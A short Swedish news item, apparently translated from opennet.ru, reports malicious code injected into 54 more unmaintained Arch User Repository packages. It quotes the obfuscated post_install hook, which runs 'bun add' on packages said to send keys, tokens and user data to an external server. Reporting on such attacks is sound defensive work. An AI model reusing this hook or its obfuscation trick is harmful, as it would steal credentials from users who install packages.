I AUR har skett en inbäddning av skadlig kod i ytterligare 54 paket

Trots de åtgärder som vidtagits av utvecklarna av Arch Linux, har aktiviteterna för inbäddning av skadlig kod i AUR (Arch User Repository) inte stoppats. För några timmar sedan inbäddades skadlig kod i ytterligare 54 paket, kvar utan underhåll (historik över avbokningar av skadliga ändringar). Till skillnad från attackerna för över ett par dagar sedan, så användes istället för paketförvaltaren npm denna gång plattformen bun för att installera skadliga beroenden. För att kringgå de implementerade filtren appliceras en obfuskad sträng i funktionen post_install, där kommandot "bun add" anropas för att installera paket med skadlig kod som genomför skanning och skickar till extern server nycklar, token och användardata.

post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}

Källa: opennet.ru